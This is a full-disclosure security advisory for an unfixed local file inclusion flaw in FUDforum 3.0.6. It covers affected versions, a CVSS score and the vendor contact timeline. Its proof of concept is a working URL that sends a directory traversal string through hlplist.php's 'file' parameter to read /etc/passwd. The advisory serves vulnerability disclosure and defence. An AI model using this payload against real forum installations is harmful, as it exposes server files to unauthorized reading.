Security Advisory - Curesec Research Team
1. Introduction
Affected Product: FUDforum 3.0.6
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: http://fudforum.org/forum/
Vulnerability Type: LFI
Remote Exploitable: Yes
Reported to vendor: 04/11/2016
Disclosed to public: 11/10/2016
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
FUDforum is forum software written in PHP. In version 3.0.6, it is vulnerable
to local file inclusion. This allows an attacker to read arbitrary files that
the web user has access to.
Admin credentials are required.
3. Details
CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N
Description: The "file" parameter of the hlplist.php script is vulnerable to
directory traversal, which allows the viewing of arbitrary files.
Proof of Concept:
http://localhost/fudforum/adm/hlplist.php?tname=default&tlang=./af&&SQ=
4b181ea1d2d40977c7ffddb8a48a4724&file=../../../../../../../../../../etc/passwd
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
04/11/2016 Informed Vendor about Issue (no reply)
09/14/2016 Reminded Vendor (no reply)
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/FUDforum-306-LFI-167.html
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